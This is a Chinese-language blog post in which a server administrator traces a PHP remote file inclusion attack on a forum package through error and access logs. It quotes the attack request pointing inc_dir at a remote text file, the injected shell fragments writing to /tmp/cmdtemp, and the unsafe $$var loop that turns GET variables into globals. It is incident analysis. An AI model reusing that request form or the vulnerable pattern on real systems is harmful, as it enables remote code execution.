https://blog.teatime.com.tw
最近老是在我的 /tmp 裡頭, 發現有個多出來的 /tmp/cmdtemp 檔案. 也在 apache 的 error_log 中發現一些訊息如下:
sh: -c: line 1: syntax error near unexpected token `;' sh: -c: line 1: `; 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm ^M' rm: cannot remove `\r': No such file or directory sh: line 1: /tmp/cmdtemp: Permission denied rm: cannot remove `\r': No such file or directory sh: line 1: /tmp/cmdtemp: Permission denied sh: -c: line 1: syntax error near unexpected token `;' sh: -c: line 1: `; 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm ^M' cat: write error: Broken pipe rm: cannot remove `\r': No such file or directory sh: line 1: /tmp/cmdtemp: Permission denied
雖然我的 /tmp 是獨立的, 且被 mount 為 noexec, 所以上頭的指令都無法正確的執行. 不過... 為什麼會讓人家有辦法把檔案寫入 /tmp/ 內呢?
到 Google 找了一下, 發現在 PHP Bugs 的這篇文章, 裡頭提到了, 應該是 allow_url_fopen 打開的時候, 如果有人傳入一個參數為 xxx=http://xxx/xxx 之類的東西, 如果這個 php 的程式, 沒有檢查這個變數, 或是 register_globals 是開啟的情形下, 也許會造成這個 php 使用 include() 去把遠端那個 URL 的檔案給引入執行.... 也就是執行到了別人寫的程式, 這時... 自然別人想在那裡頭做什麼, 就能夠做什麼了.
所以, 我想我的機器上頭, 一定有那個使用者放的 php 程式, 會造成這個問題. 原本以為下頭的指令可以簡單的抓出
grep =http: access.log
可是... 由於我有把 referer 也記錄到 log 裡頭, 所以... 會找到一堆在 referer 中有 =http: 的資料. 所以我寫了下頭的這個 script 來處理:
#!/usr/bin/php -Cq
在 HTTP/ 這個字串之前的都是我要的. 然後執行
grep HTTP *.1 | ./t.php | grep =http
就可以找出來了. 發現是某個使用者放上來的討論區, 有人使用了下列的方式存取:
forgot_password.php?inc_dir=http://www.geocities.com/goblockz/hajar.txt?
發現會設一下 inc_dir 的 GET 變數. 而在這套系統中, inc_dir 就是這個系統用來 include 檔案時, 會加上的路徑. 原本 $inc_dir = 'include/', 所以裡頭用了一堆 include $inc_dir.'abc.inc' 之類的語法.
不過... 我的 register_globals 並沒有打開啊... 怎麼會把這個 GET 的變數, 直接就取代了 $inc_dir 呢?
再看一下程式, 果然裡頭有 register_globals.php 其中一段是這樣子寫的:
if (isset($HTTP_GET_VARS)) { reset($HTTP_GET_VARS); while ( list($var, $val) = each($HTTP_GET_VARS) ) { $$var=$val; } }
就直接把 GET 的變數拿來用了... 自然覆蓋了原本的 $inc_dir, 所以在這個動作之後, 如果有做任何:
include $inc_dir."abc.php"
之類的動作, 就變成:
include http://www.geocities.com/goblockz/hajar.txt?abc.php
接著就跑到了上頭那個 hajar.txt 的內容了. 而這個檔案的內容如下:
caRefuLL d4Ve-cOoL was HeRe..!!|| pOweRed fRoM #kLiNik@DALnet